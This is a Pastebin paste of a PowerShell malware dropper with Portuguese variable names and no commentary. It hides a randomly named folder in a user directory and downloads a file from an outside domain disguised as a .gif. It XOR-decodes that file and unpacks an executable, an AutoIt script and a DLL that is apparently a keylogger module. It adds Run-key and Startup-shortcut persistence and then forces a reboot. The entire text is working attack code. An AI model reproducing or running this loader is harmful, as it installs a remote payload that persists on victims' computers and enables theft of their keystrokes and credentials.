Advertisement
imagemdel

teste

Sep 8th, 2019 (edited)
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.70 KB | None | 0 0
  1. $strCaminhoArquivoLog = "$env:ALLUSERSPROFILE\$([System.DateTime]::Now.ToString('yyy2020.ini'))"
  2.  
  3. $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
  4.  
  5. function gera-strrand
  6. {
  7. -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_})
  8. }
  9.  
  10. if (-Not $bExisteArquivoLog)
  11. {
  12. "" | Set-Content $strCaminhoArquivoLog
  13.  
  14. $NomePasta = gera-strrand 3
  15. $Directory = "." + $NomePasta
  16.  
  17. $array = (0..4)
  18. $array[0] = [environment]::getfolderpath("MyDocuments")
  19. $array[1] = [environment]::getfolderpath("MyMusic")
  20. $array[2] = [environment]::getfolderpath("MyPictures")
  21. $array[3] = [environment]::getfolderpath("Templates")
  22.  
  23.  
  24. $Num = Get-Random -Maximum 4
  25. $strCaminhoPastaCaixa = $array[$Num] + "\" + $Directory + "\"
  26. New-Item -ItemType directory -Path $strCaminhoPastaCaixa
  27.  
  28. $strCaminhoCaixaZipada = gera-strrand 8
  29. $strCaminhoCaixaZipada = "$strCaminhoPastaCaixa$strCaminhoCaixaZipada.zip"
  30.  
  31. $strUrlCaixaZipada = "https://fasts-hoping-ultra.cash/mdlins32/mdl32.gif"
  32.  
  33. (New-Object System.Net.WebClient).DownloadFile($strUrlCaixaZipada, $strCaminhoCaixaZipada)
  34.  
  35. $objBytesCaixaZipada = [System.IO.File]::ReadAllBytes($strCaminhoCaixaZipada)
  36. for($i=0; $i -lt $objBytesCaixaZipada.count; $i++)
  37. {
  38. $objBytesCaixaZipada[$i] = $objBytesCaixaZipada[$i] -bxor 0x91
  39. }
  40. [System.IO.File]::WriteAllBytes($strCaminhoCaixaZipada,$objBytesCaixaZipada)
  41.  
  42. $objArrayArqsZip = New-Object System.Collections.ArrayList
  43. $objShelApplication = New-Object -com shell.application
  44. $objArquivoZipado = $objShelApplication.NameSpace($strCaminhoCaixaZipada)
  45.  
  46. foreach($item in $objArquivoZipado.items())
  47. {
  48. $objShelApplication.Namespace($strCaminhoPastaCaixa).copyhere($item)
  49. $objArrayArqsZip.Add($item.name)
  50. }
  51.  
  52. $strNomeModuloDllKl = gera-strrand 7
  53. $strExtModuloDllKl = gera-strrand 3
  54. $strNomeModuloDllKl = $strNomeModuloDllKl + "." + $strExtModuloDllKl
  55. $strPathModuloDllKl = $strCaminhoPastaCaixa + $strNomeModuloDllKl
  56.  
  57. $strNomeModuloExecutor = gera-strrand 5
  58. $strNomeModuloExecutor = $strNomeModuloExecutor + ".exe"
  59. $strPathModuloExecutor = $strCaminhoPastaCaixa + $strNomeModuloExecutor
  60.  
  61. $strNomeScriptAutoIt = gera-strrand 8
  62. $strPathScriptAutoIt = $strCaminhoPastaCaixa + $strNomeScriptAutoIt
  63. foreach ($element in $objArrayArqsZip)
  64. {
  65. $intTamArquivo = (Get-Item "$strCaminhoPastaCaixa$element").Length
  66. if ($intTamArquivo -lt 2000)
  67. {
  68. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathScriptAutoIt
  69. }
  70. elseif ($intTamArquivo -lt 1000000)
  71. {
  72. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloExecutor
  73. }
  74. else
  75. {
  76. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloDllKl
  77. }
  78. }
  79.  
  80. Start-Sleep -s 5
  81. Remove-Item -Path $strCaminhoCaixaZipada -Force
  82.  
  83. $registryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  84. $Name = $strUser
  85. $value = "$([char]34)$strPathModuloExecutor$([char]34) $([char]34)$strPathScriptAutoIt$([char]34)
  86. $([char]34)$strPathModuloDllKl$([char]34)"
  87.  
  88. New-Item -Path $registryPath -Force | Out-Null
  89. New-ItemProperty -Path $registryPath -Name $name -Value $value -Force | Out-Null
  90.  
  91. $strNomeLNK = $env:UserName
  92. $objShell = New-Object -ComObject ("WScript.Shell")
  93. $startup = [environment]::getfolderpath("Startup")
  94. $objShortCut = $objShell.CreateShortcut($startup + "\" + $strNomeLNK + ".lnk")
  95. $objShortCut.TargetPath = $strPathModuloExecutor
  96. $objShortCut.Description = $strNomeModuloExecutor
  97. $objShortCut.Arguments = "$strNomeScriptAutoIt $strNomeModuloDllKl"
  98. $objShortCut.WorkingDirectory = $strCaminhoPastaCaixa
  99. $objShortCut.Hotkey = "CTRL+SHIFT+F"
  100. $objShortCut.IconLocation = "Shell32.dll, 29";
  101. $objShortCut.Description = gera-strrand 50
  102. $objShortCut.Save()
  103.  
  104. Restart-Computer -F
  105.  
  106. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement